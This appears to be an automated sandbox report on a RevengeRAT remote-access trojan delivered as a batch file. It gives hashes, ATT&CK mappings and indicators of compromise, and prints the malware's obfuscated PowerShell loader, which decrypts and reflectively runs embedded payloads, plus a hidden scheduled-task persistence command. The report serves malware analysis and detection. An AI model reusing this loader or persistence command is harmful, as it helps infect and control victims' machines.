revengerat | 0259988df01a82ad5936bc17d01a96b07b8bd530790bf47277535edef3100ffc

Analysis

max time kernel
52s
max time network
33s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
11/06/2024, 05:19

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General

Target

Client.bat
Size

265KB
MD5

01e96014af705a61d5ca83d367517549
SHA1

403b1418e8ff1b7bb218cf87bfb7cc45905ea3e1
SHA256

0259988df01a82ad5936bc17d01a96b07b8bd530790bf47277535edef3100ffc
SHA512

af19bf403f1204bef43d12b9c6872a0e67da2f8a6d168dd14481968c5d418fa982a3aa8677f7b011f39314ef6a351e785af3d46e692443cc23ea1fa3b2cbb7d2
SSDEEP

6144:c5G5RlzeUqntbabTty2g13glFyDZdCq0PfxGY:c5G5RUUguTE31QqddT0PZGY

Score

10^/10

revengerat execution stealer trojan

Malware Config

Extracted

Family

revengerat

Mutex

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat

RevengeRat Executable 1 IoCs

stealer

resource	yara_rule
behavioral3/memory/2992-141-0x0000027279CF0000-0x0000027279CF8000-memory.dmp	revengerat

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3704	powershell.exe
2340	powershell.exe
2992	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018400E1E98B978"	svchost.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3704	powershell.exe
3704	powershell.exe
2340	powershell.exe
2340	powershell.exe
2992	powershell.exe
2992	powershell.exe
2992	powershell.exe
2992	powershell.exe
2992	powershell.exe
2992	powershell.exe
2992	powershell.exe
2992	powershell.exe
2992	powershell.exe
2992	powershell.exe
2992	powershell.exe
2992	powershell.exe
2992	powershell.exe
2992	powershell.exe
2992	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3704	powershell.exe
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeIncreaseQuotaPrivilege	2340	powershell.exe
Token: SeSecurityPrivilege	2340	powershell.exe
Token: SeTakeOwnershipPrivilege	2340	powershell.exe
Token: SeLoadDriverPrivilege	2340	powershell.exe
Token: SeSystemProfilePrivilege	2340	powershell.exe
Token: SeSystemtimePrivilege	2340	powershell.exe
Token: SeProfSingleProcessPrivilege	2340	powershell.exe
Token: SeIncBasePriorityPrivilege	2340	powershell.exe
Token: SeCreatePagefilePrivilege	2340	powershell.exe
Token: SeBackupPrivilege	2340	powershell.exe
Token: SeRestorePrivilege	2340	powershell.exe
Token: SeShutdownPrivilege	2340	powershell.exe
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeSystemEnvironmentPrivilege	2340	powershell.exe
Token: SeRemoteShutdownPrivilege	2340	powershell.exe
Token: SeUndockPrivilege	2340	powershell.exe
Token: SeManageVolumePrivilege	2340	powershell.exe
Token: 33	2340	powershell.exe
Token: 34	2340	powershell.exe
Token: 35	2340	powershell.exe
Token: 36	2340	powershell.exe
Token: SeIncreaseQuotaPrivilege	2340	powershell.exe
Token: SeSecurityPrivilege	2340	powershell.exe
Token: SeTakeOwnershipPrivilege	2340	powershell.exe
Token: SeLoadDriverPrivilege	2340	powershell.exe
Token: SeSystemProfilePrivilege	2340	powershell.exe
Token: SeSystemtimePrivilege	2340	powershell.exe
Token: SeProfSingleProcessPrivilege	2340	powershell.exe
Token: SeIncBasePriorityPrivilege	2340	powershell.exe
Token: SeCreatePagefilePrivilege	2340	powershell.exe
Token: SeBackupPrivilege	2340	powershell.exe
Token: SeRestorePrivilege	2340	powershell.exe
Token: SeShutdownPrivilege	2340	powershell.exe
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeSystemEnvironmentPrivilege	2340	powershell.exe
Token: SeRemoteShutdownPrivilege	2340	powershell.exe
Token: SeUndockPrivilege	2340	powershell.exe
Token: SeManageVolumePrivilege	2340	powershell.exe
Token: 33	2340	powershell.exe
Token: 34	2340	powershell.exe
Token: 35	2340	powershell.exe
Token: 36	2340	powershell.exe
Token: SeIncreaseQuotaPrivilege	2340	powershell.exe
Token: SeSecurityPrivilege	2340	powershell.exe
Token: SeTakeOwnershipPrivilege	2340	powershell.exe
Token: SeLoadDriverPrivilege	2340	powershell.exe
Token: SeSystemProfilePrivilege	2340	powershell.exe
Token: SeSystemtimePrivilege	2340	powershell.exe
Token: SeProfSingleProcessPrivilege	2340	powershell.exe
Token: SeIncBasePriorityPrivilege	2340	powershell.exe
Token: SeCreatePagefilePrivilege	2340	powershell.exe
Token: SeBackupPrivilege	2340	powershell.exe
Token: SeRestorePrivilege	2340	powershell.exe
Token: SeShutdownPrivilege	2340	powershell.exe
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeSystemEnvironmentPrivilege	2340	powershell.exe
Token: SeRemoteShutdownPrivilege	2340	powershell.exe
Token: SeUndockPrivilege	2340	powershell.exe
Token: SeManageVolumePrivilege	2340	powershell.exe
Token: 33	2340	powershell.exe
Token: 34	2340	powershell.exe
Token: 35	2340	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2304 wrote to memory of 1240	2304	cmd.exe	81
PID 2304 wrote to memory of 1240	2304	cmd.exe	81
PID 1240 wrote to memory of 4776	1240	net.exe	82
PID 1240 wrote to memory of 4776	1240	net.exe	82
PID 2304 wrote to memory of 4444	2304	cmd.exe	83
PID 2304 wrote to memory of 4444	2304	cmd.exe	83
PID 2304 wrote to memory of 3704	2304	cmd.exe	84
PID 2304 wrote to memory of 3704	2304	cmd.exe	84
PID 3704 wrote to memory of 2340	3704	powershell.exe	85
PID 3704 wrote to memory of 2340	3704	powershell.exe	85
PID 3704 wrote to memory of 1964	3704	powershell.exe	88
PID 3704 wrote to memory of 1964	3704	powershell.exe	88
PID 1964 wrote to memory of 1844	1964	WScript.exe	89
PID 1964 wrote to memory of 1844	1964	WScript.exe	89
PID 1844 wrote to memory of 5000	1844	cmd.exe	91
PID 1844 wrote to memory of 5000	1844	cmd.exe	91
PID 5000 wrote to memory of 3132	5000	net.exe	92
PID 5000 wrote to memory of 3132	5000	net.exe	92
PID 1844 wrote to memory of 4392	1844	cmd.exe	95
PID 1844 wrote to memory of 4392	1844	cmd.exe	95
PID 1844 wrote to memory of 2992	1844	cmd.exe	96
PID 1844 wrote to memory of 2992	1844	cmd.exe	96
PID 2992 wrote to memory of 3392	2992	powershell.exe	56
PID 2992 wrote to memory of 1764	2992	powershell.exe	31
PID 2992 wrote to memory of 2744	2992	powershell.exe	46
PID 2992 wrote to memory of 964	2992	powershell.exe	12
PID 2992 wrote to memory of 3524	2992	powershell.exe	57
PID 2992 wrote to memory of 1748	2992	powershell.exe	30
PID 2992 wrote to memory of 2532	2992	powershell.exe	43
PID 2992 wrote to memory of 1152	2992	powershell.exe	20
PID 2992 wrote to memory of 2524	2992	powershell.exe	42
PID 2992 wrote to memory of 1140	2992	powershell.exe	19
PID 2992 wrote to memory of 2320	2992	powershell.exe	41
PID 2992 wrote to memory of 2000	2992	powershell.exe	33
PID 2992 wrote to memory of 932	2992	powershell.exe	15
PID 2992 wrote to memory of 1128	2992	powershell.exe	17
PID 2992 wrote to memory of 3292	2992	powershell.exe	55
PID 2992 wrote to memory of 1712	2992	powershell.exe	29
PID 2992 wrote to memory of 1316	2992	powershell.exe	23
PID 2992 wrote to memory of 1924	2992	powershell.exe	32
PID 2992 wrote to memory of 916	2992	powershell.exe	11
PID 2992 wrote to memory of 4064	2992	powershell.exe	97
PID 2992 wrote to memory of 3612	2992	powershell.exe	69
PID 2992 wrote to memory of 1600	2992	powershell.exe	26
PID 2992 wrote to memory of 2284	2992	powershell.exe	40
PID 2992 wrote to memory of 704	2992	powershell.exe	14
PID 2992 wrote to memory of 1684	2992	powershell.exe	68
PID 2992 wrote to memory of 1288	2992	powershell.exe	22
PID 2992 wrote to memory of 1680	2992	powershell.exe	36
PID 2992 wrote to memory of 2860	2992	powershell.exe	52
PID 2992 wrote to memory of 2848	2992	powershell.exe	51
PID 2992 wrote to memory of 1664	2992	powershell.exe	28
PID 2992 wrote to memory of 2840	2992	powershell.exe	50
PID 2992 wrote to memory of 1244	2992	powershell.exe	21
PID 2992 wrote to memory of 2632	2992	powershell.exe	45
PID 2992 wrote to memory of 1448	2992	powershell.exe	25
PID 2992 wrote to memory of 2232	2992	powershell.exe	39
PID 2992 wrote to memory of 2032	2992	powershell.exe	35
PID 2992 wrote to memory of 1440	2992	powershell.exe	24
PID 2992 wrote to memory of 648	2992	powershell.exe	67
PID 2992 wrote to memory of 2008	2992	powershell.exe	34
PID 2992 wrote to memory of 1020	2992	powershell.exe	16
PID 2992 wrote to memory of 1608	2992	powershell.exe	27
PID 2992 wrote to memory of 1136	2992	powershell.exe	18

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
PID:812
- C:\Windows\System32\mousocoreworker.exe
  C:\Windows\System32\mousocoreworker.exe -Embedding
  2⤵
  PID:2448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:704

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:932

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1020

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1600

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1608

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1712

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1924

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2008

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1680

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2232

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2284

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2788

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2860

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3292

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2304
- - C:\Windows\system32\net.exe
    net file
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1240
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 file
      4⤵
      PID:4776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('95fXsaIlcGmb66kIfwPk1Rgbc20oigIl2ZjrEVOMHi4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wjcEpBfUU+saUdwde7IiAQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $dBbxa=New-Object System.IO.MemoryStream(,$param_var); $mlDCQ=New-Object System.IO.MemoryStream; $PXkUJ=New-Object System.IO.Compression.GZipStream($dBbxa, [IO.Compression.CompressionMode]::Decompress); $PXkUJ.CopyTo($mlDCQ); $PXkUJ.Dispose(); $dBbxa.Dispose(); $mlDCQ.Dispose(); $mlDCQ.ToArray();}function execute_function($param_var,$param2_var){ $VAZow=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IkZgf=$VAZow.EntryPoint; $IkZgf.Invoke($null, $param2_var);}$EKyfL = 'C:\Users\Admin\AppData\Local\Temp\Client.bat';$host.UI.RawUI.WindowTitle = $EKyfL;$XGvbw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($EKyfL).Split([Environment]::NewLine);foreach ($ezjrc in $XGvbw) { if ($ezjrc.StartsWith('BPOZEQjVjBpbWIFJNOov')) { $rjbAO=$ezjrc.Substring(20); break; }}$payloads_var=[string[]]$rjbAO.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:4444
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3704
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_682_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_682.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2340
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_682.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:1964
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_682.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1844
      - C:\Windows\system32\net.exe
        
        net file
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5000
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        7⤵
        
        PID:3132
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('95fXsaIlcGmb66kIfwPk1Rgbc20oigIl2ZjrEVOMHi4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wjcEpBfUU+saUdwde7IiAQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $dBbxa=New-Object System.IO.MemoryStream(,$param_var); $mlDCQ=New-Object System.IO.MemoryStream; $PXkUJ=New-Object System.IO.Compression.GZipStream($dBbxa, [IO.Compression.CompressionMode]::Decompress); $PXkUJ.CopyTo($mlDCQ); $PXkUJ.Dispose(); $dBbxa.Dispose(); $mlDCQ.Dispose(); $mlDCQ.ToArray();}function execute_function($param_var,$param2_var){ $VAZow=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IkZgf=$VAZow.EntryPoint; $IkZgf.Invoke($null, $param2_var);}$EKyfL = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_682.bat';$host.UI.RawUI.WindowTitle = $EKyfL;$XGvbw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($EKyfL).Split([Environment]::NewLine);foreach ($ezjrc in $XGvbw) { if ($ezjrc.StartsWith('BPOZEQjVjBpbWIFJNOov')) { $rjbAO=$ezjrc.Substring(20); break; }}$payloads_var=[string[]]$rjbAO.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:4392
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3524

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4652

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3612

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:4556

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:4064

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
005bc2ef5a9d890fb2297be6a36f01c2

SHA1
0c52adee1316c54b0bfdc510c0963196e7ebb430

SHA256
342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

SHA512
f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nwva3mi5.esa.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_682.bat

Filesize
265KB

MD5
01e96014af705a61d5ca83d367517549

SHA1
403b1418e8ff1b7bb218cf87bfb7cc45905ea3e1

SHA256
0259988df01a82ad5936bc17d01a96b07b8bd530790bf47277535edef3100ffc

SHA512
af19bf403f1204bef43d12b9c6872a0e67da2f8a6d168dd14481968c5d418fa982a3aa8677f7b011f39314ef6a351e785af3d46e692443cc23ea1fa3b2cbb7d2

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_682.vbs

Filesize
124B

MD5
1fa339f97c8834249878daf549bc133f

SHA1
d4ceb8f254131adac84759ede084ff27b749b1f5

SHA256
a6290aa7c9f1e7c8de6dc38675db2725c97413d38a0ab8de44d33e541fd03628

SHA512
27398cec83347f1d2e482c4cec1454ec42a4f28755425984f8c1aee98813cc9ca2f00542e769498b275112729fc57e3e55352674b0a4cb7689ce69ff2d86bfa3

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
8abf2d6067c6f3191a015f84aa9b6efe

SHA1
98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

SHA256
ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

SHA512
c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
f313c5b4f95605026428425586317353

SHA1
06be66fa06e1cffc54459c38d3d258f46669d01a

SHA256
129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

SHA512
b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
ceb7caa4e9c4b8d760dbf7e9e5ca44c5

SHA1
a3879621f9493414d497ea6d70fbf17e283d5c08

SHA256
98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

SHA512
1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
7d612892b20e70250dbd00d0cdd4f09b

SHA1
63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

SHA256
727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

SHA512
f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
1e8e2076314d54dd72e7ee09ff8a52ab

SHA1
5fd0a67671430f66237f483eef39ff599b892272

SHA256
55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

SHA512
5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
0b990e24f1e839462c0ac35fef1d119e

SHA1
9e17905f8f68f9ce0a2024d57b537aa8b39c6708

SHA256
a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

SHA512
c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

Download Submit
memory/812-105-0x00007FFA32BF0000-0x00007FFA32C00000-memory.dmp

Filesize
64KB

Download
memory/964-108-0x00007FFA32BF0000-0x00007FFA32C00000-memory.dmp

Filesize
64KB

Download
memory/1020-109-0x00007FFA32BF0000-0x00007FFA32C00000-memory.dmp

Filesize
64KB

Download
memory/1136-106-0x00007FFA32BF0000-0x00007FFA32C00000-memory.dmp

Filesize
64KB

Download
memory/1140-95-0x00007FFA32BF0000-0x00007FFA32C00000-memory.dmp

Filesize
64KB

Download
